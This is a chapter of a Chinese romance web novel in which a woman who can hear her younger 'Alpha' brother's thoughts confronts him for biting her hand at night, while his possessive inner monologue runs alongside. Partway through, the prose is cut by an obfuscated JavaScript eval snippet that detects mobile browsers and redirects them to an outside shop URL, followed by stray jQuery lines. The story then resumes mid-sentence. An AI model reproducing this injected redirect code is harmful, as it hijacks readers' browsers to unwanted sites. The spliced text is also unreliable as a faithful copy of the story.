27. 虫子

作品:《听到Alpha弟弟心声后

    再一次躺在悦华园公寓的主卧床上,路姜觉得自己是被随从之灌迷魂汤了。


    她下午坐随从之的车回来,吃完他做的晚饭,躺在沙发上被人捏着小腿手臂按摩完,现在才开始躺在床上懊恼自己怎么被迷了心窍。


    但一个人总不能连着两天都做春梦。


    而且他很乖地帮她换了床单被褥。


    他甚至更贴心地把床头那个小狗玩偶也拿走了,临走前还言笑晏晏跟她强调说,这可是姐姐专门买给我的。


    他果然知道里面有吸纳棉。但现在听秦姐的意思,已经确定她腺体二次发育后,吸纳棉的作用不大了,之后定期吃药和更换医用阻隔贴就行。他知道就知道吧。


    至于二次发育这件事,到时候还不知道要怎么和相熟的朋友们解释。路姜叹了口气。


    联想到随从之之前说装修风格是特意选的她喜欢的款式,路姜怀疑他主卧的床也是特意按她的喜好购入的。床垫睡起来的感觉几乎和她在路宅的那个没差,她在床上翻了个身。


    随从之推拿的手艺真还不错,下午在游泳馆里畅游,傍晚又被人帮忙放松肌肉,现在身上有些发热。路姜迷迷糊糊地还是睡了过去。


    ……


    好消息是没有做梦。


    坏消息是路姜右手上那个还没愈合的圆形伤口旁又添了新伤。


    她站在浴室里,早上起来发现自己没做梦时有多欣喜,看见自己虎口多了咬痕时就有多愤怒。


    路姜跑去找厨房的随从之,给他看:“你公寓里真有虫子!”


    她面前姓随的虫子还人模虫样地恍若不知,握住她的手细细看自己的“战利品”。


    他盯着看还不够。


    路姜眼看着他捧着自己的手凑近唇边,她以为他会吹一吹,结果他红润的舌尖伸出来细细舔舐结痂的伤口。他眉目低垂,舔得认真,好像真能减轻伤口痛苦似的。


    黏腻湿热的触感吓了路姜一跳,她拼命拔回自己的手:“随从之!!你干嘛?”


    随从之看上去分外无辜:“消毒。”


    被虫子咬了所以要消毒这个逻辑好像很严密,如果他不是那个虫子就更好了。


    他强迫自己恋恋不舍的目光从她的手上移开,移到她的脸上,却又被因着她横眉冷对的样子再一次渴到。


    好痒。


    腺体好痒,牙齿也好痒。想吃更多地方。


    想品尝到阿辛更多的味道。


    口腔里太干,本应该适当有一些体/液的交换才对。


    汗液、唾液、血液又抑或是——


    他喉结滚动一下。


    不只是舔舔手而已。


    ……可是阿辛不会允许的。


    随从之极力地抑制住自己凑上前去的冲动,控制住稍微急促的呼吸,把身体里的燥热变成一口缓慢的吐息排出体外,最后在姐姐面前露出一个她最常见的,讨巧的笑。


    路姜死死咬牙。


    他的信息素又逸散了。


    但联想到昨天检测系统的那个绿色指标,路姜心里有所预感。


    与其说是他信息素逸散了,不如说她的腺体捕捉信息素的能力提高了。


    一想到未来很有可能随从之的心声会更频繁地向她传递,路姜就觉得自己人不太好。她恶狠狠地瞪他:“我吃完早饭就回宿舍!”


    还以为阿辛有可能会住过来。


    随从之失望道:“那早饭可能暂时做不好了。”


    骗你的,一辈子都做不好了。


    反抗无效。装无辜无效。示弱无效。


    早餐后,路姜再一次用“考虑考虑”四个字拒绝了随从之的同居邀约,用“虽然我今天下午没什么安排,但暂时不想和你出门”拒绝了随从之的逛街邀请,执意提前返回宿舍,就连一个像样的理由都不愿意编造。


    随从之身上阴冷怨气沉得像水鬼一样。


    坐在他对面身上几乎都要起一层鸡皮疙瘩。


    喝粥的路姜不自觉伸手摩挲了一下自己的小臂。


    下一秒,随从之收敛神情,迅速起身去调高了空调温度:“这样会好一点吗?姐姐。”


    ……暗恋自己的弟弟太有服务意识了怎么办。


    路姜差点又要心软。


    她硬撑着生气的脸点点头。


    弟弟在脑子里试图跟她玩各种大尺度play这件事情她可以暂且告诉自己:论迹不论心。他心理活动毫无耻度,但他行为举止上很有分寸。


    可是半夜偷偷进她房间这件事没得商量,就算他能忍住只去咬她的手,也不可取。她必须给随从之点颜色瞧瞧。


    她决定这一周除了已经约好的社团演出,其它随从之约她出门的非必要交际全拒绝掉。


    她正谋划着,调高空调温度的随从之回来,却没有回到座位上,而是走到了她身边。拉远了她右手边的椅子,然后紧挨着她椅畔半蹲下来。


    路姜不明所以:“?”


    “我错了。”他抬眸看她,非常主动的自我检讨,眼睛里满是真诚,“姐姐。”


    路姜听出他两句话中间有刻意的停顿,估计是发现她态度不明,故意喊她姐姐来讨好她。她不大相信地睨他:“你错哪儿了?”


    该不会一张口说自己不该把空调调低吧。


    “不该咬伤姐姐。”


    他竟然就这样乖乖承认了。


    随从之一直紧盯着她的表情,看得出来她的讶异。


    下次还是别留痕迹了,他漫不经心地想,不用犬齿的厮磨,姐姐不会发现的。


    而后路姜的表情就变了。她冷笑两声:“所以你下一次还咬吗?”


    “不会有下一次的,姐姐。”


    咬。


    路姜又凉凉地呵声。


    随从之没当回事。


    但还是基于幸福者退让的原则在心里想:或者,不喜欢咬的话,还是舔吧。


    他视线慢慢上移,落在路姜的颈窝附近。


    之前分化期的时候,姐姐也不允许他咬她。


    路姜动作一顿。


    分化期的事,她因为信息素浓度过高已经全忘了。她之前分明也问过他,他那个时候明明表情无辜地说自己也疼得不记得了。


    又装!!!


    但她可以猜到就算自己问他,得到的答案肯定还是语调恳切的“我不记得哦,姐姐”。她怒视他几秒,“你这么承诺,我不太信。你先跟我掰扯掰扯,为什么要晚上偷偷过来咬我?”


    说梦游姐姐会信吗?


    会露出那副心疼的样子抱住自己说没关


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827418|189148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    系吗?


    但今天的姐姐好像心情格外不好,一点就炸。


    ……唔,又开始瞪他了。


    但是被姐姐目光注视的感觉,怎么不算被她抚摸了呢?


    想要。


    好想要。


    想要更多地被看见,想要更多地被触摸,想要紧紧地贴近阿辛,想要可以两个人像树袋熊抱住树一样——像连体婴一样地永远永远永远黏在一起。


    如果姐姐的目光可以永远落在自己身上就好了。


    翡翠的眸子一眨不眨,瞳孔里映着顶灯的光,也映着路姜的脸。


    他抬起脸,脖颈的线条因此绷紧,喉结清晰地滚动了一下。


    被人这样专注地、目不转睛地仰望着,总是会不自觉地泄露出一丝沉溺。


    而依赖窥探攫取猎物养分的猎人,敏锐地注意到了她这点细微的动摇。


    他挽起唇角。


    ——就像你此刻这样看着我一样啊,姐姐。


    路姜放在桌布上的手瞬间缩紧。


    几乎错觉他已经知道了自己读心的事,故意对她这么说。


    定睛看去,随从之的神色毫无变化。


    太过稳定的情绪对比他山崩海啸的心声,让她品出一丝荒谬来。


    他太擅长忍耐。……她甚至不知道他到底什么时候对她有这种想法的。


    在此之前,他又像这样割裂地待在她身边多久?


    后背密密麻麻爬上寒意。不仅仅是恐惧,还混杂着难言的痛苦揪住了她的心脏,针扎一般蔓延开浅浅的刺痛。


    路姜极其轻微地蹙眉。


    身前的随从之却有瞬间的怔愣。


    “还是冷吗?阿辛。”


    话音刚落,他就又想起身去调温度。


    路姜迟疑片刻,摇头,按住他:“没有。”


    于是随从之乖顺地就着她的力度——跪下来了。不是单膝跪地的那种跪,而是结结实实地,直直跪立在她面前,如罪人祈谅那般祷告、陈述着自己的过错。


    路姜讶然。“你怎么……?”


    分明是迁就的、臣服的姿势,可他膝行两步,直到胯骨贴着她的椅缘,手指按着她的椅面,于是身体就自然而然地愈发倾向她。


    路姜坐在椅子上,却没有跪立的随从之高。她腿朝内侧放在桌下,面前就是离得过分得近的随从之。路姜几乎被压在一个狭窄的空间里,甚至不自在地因为他的逼近而微微后仰。


    她话说到一半,闭嘴不言了。


    神经病!故意的吧!


    被他压得缓慢的呼吸带着热度拂过她的皮肤,路姜咬牙偏头,避开他的视线。而随从之如实质一般的目光落在她面庞,沉甸甸地挤压着她的感官。她坐他跪,她意有逃避,他却步步紧逼。


    静默的氛围紧绷得仿佛一触即发。


    路姜不抬头,不想跟他侵略性的眼眸接触。可视线一转,却见他按在椅面上的指节谨小慎微地没有触碰到她的大腿。


    ……多么矛盾。


    跪在她身边,却压迫性地无限缩短她们彼此的距离。


    心里阴暗地说希望永远黏在一起,却安分地非礼误动——不对,死男的。这时候开始装了,那晚上干嘛去了?


    她虎口的伤难道不是他咬的?